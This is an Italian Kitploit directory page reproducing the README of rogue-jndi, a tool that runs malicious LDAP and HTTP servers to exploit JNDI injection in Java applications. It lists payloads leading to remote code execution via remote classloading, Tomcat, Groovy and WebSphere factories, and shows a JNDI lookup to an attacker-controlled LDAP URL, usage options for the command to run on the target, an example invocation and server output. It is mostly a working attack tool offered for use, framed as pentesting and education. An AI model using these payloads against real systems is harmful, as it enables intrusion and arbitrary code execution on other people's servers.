Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
rogue-jndi — Un server LDAP malevolo per attacchi di injection JNDI | Kitploit
Strumenti/GitHubGitHub/veracode-research/rogue-jndi
ExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneRed TeamingSviluppo Payload
GitHubveracode-research/rogue-jndi

rogue-jndi

Un server LDAP malevolo per attacchi di injection JNDI

Vedi Repository
1.1k22732 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Rogue JNDI

Un server LDAP malevolo per attacchi di injection JNDI.

Descrizione

Il progetto contiene server LDAP & HTTP per sfruttare l'API JNDI di Java insicura di default.
Per eseguire un attacco, puoi avviare questi server localmente e poi innescare una risoluzione JNDI sul client vulnerabile, ad esempio:

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Questo avvierà una connessione dal client vulnerabile al server LDAP locale. Quindi, il server locale risponde con una voce malevola contenente uno dei payload, che può essere utile per ottenere una Remote Code Execution.

Motivazione

Oltre ai noti metodi di attacco JNDI (tramite classloading remoto nei reference), questo strumento introduce nuovi vettori d'attacco sfruttando la potenza degli ObjectFactories.

Payload supportati

  • RemoteReference.java - classico attacco JNDI, porta a RCE tramite classloading remoto, funziona fino a jdk8u191
  • Tomcat.java - porta a RCE tramite reflection non sicura in org.apache.naming.factory.BeanFactory
  • Groovy.java - porta a RCE tramite reflection non sicura in +
Scarica lo strumento
org.apache.naming.factory.BeanFactory
groovy.lang.GroovyShell
  • WebSphere1.java - porta a XXE out-of-band in com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java - porta a RCE tramite manipolazione del classpath in com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
  • Utilizzo

    root@kitploit:~
    $ java -jar target/RogueJndi-1.0.jar -h
    +-+-+-+-+-+-+-+-+-+
    |R|o|g|u|e|J|n|d|i|
    +-+-+-+-+-+-+-+-+-+
    Usage: java -jar target/RogueJndi-1.0.jar [options]
      Options:
        -c, --command  Command to execute on the target server (default: 
                       /Applications/Calculator.app/Contents/MacOS/Calculator) 
        -n, --hostname Local HTTP server hostname (required for remote 
                       classloading and websphere payloads) (default: 
                       192.168.1.10) 
        -l, --ldapPort Ldap bind port (default: 1389)
        -p, --httpPort Http bind port (default: 8000)
        --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                       (default: /list.wsdl)
        --localjar     [websphere2 payload option] Local jar file to load (this 
                       file should be located on the remote server) (default: 
                       ../../../../../tmp/jar_cache7808167489549525095.tmp) 
        -h, --help     Show this help
    

    I parametri più importanti sono l'hostname del server LDAP (-n, deve essere raggiungibile dal target) e il comando che vuoi eseguire sul server target (-c).

    In alternativa all'opzione "-c", puoi modificare il file ExportObject.java inserendo il codice java che vuoi eseguire sul server target.

    Esempio:

    root@kitploit:~
    $ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
    +-+-+-+-+-+-+-+-+-+
    |R|o|g|u|e|J|n|d|i|
    +-+-+-+-+-+-+-+-+-+
    Starting HTTP server on 0.0.0.0:8000
    Starting LDAP server on 0.0.0.0:1389
    Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
    Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
    Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
    Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
    Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
    Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
    Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
    Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
    

    Compilazione

    Richiesti Java v1.7+ e Maven v3+

    root@kitploit:~
    mvn package
    

    Disclaimer

    Questo software è fornito esclusivamente a scopo educativo e/o per testare sistemi sui quali l'utente ha ottenuto preventivamente l'autorizzazione ad attaccare.

    Ringraziamenti speciali

    • Alvaro Muñoz e Oleksandr Mirosh per l'eccellente whitepaper sugli attacchi JNDI
    • @zerothoughts per il repository ispiratore spring-jndi
    • Moritz Bechler per l'eminente ricerca marshallsec
    • Orange Tsai e Welk1n per la gadget Apache + Groovy

    Collegamenti

    • Un articolo su Exploiting JNDI Injections in Java nel blog di Veracode
    • How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM

    Autori

    Michael Stepankin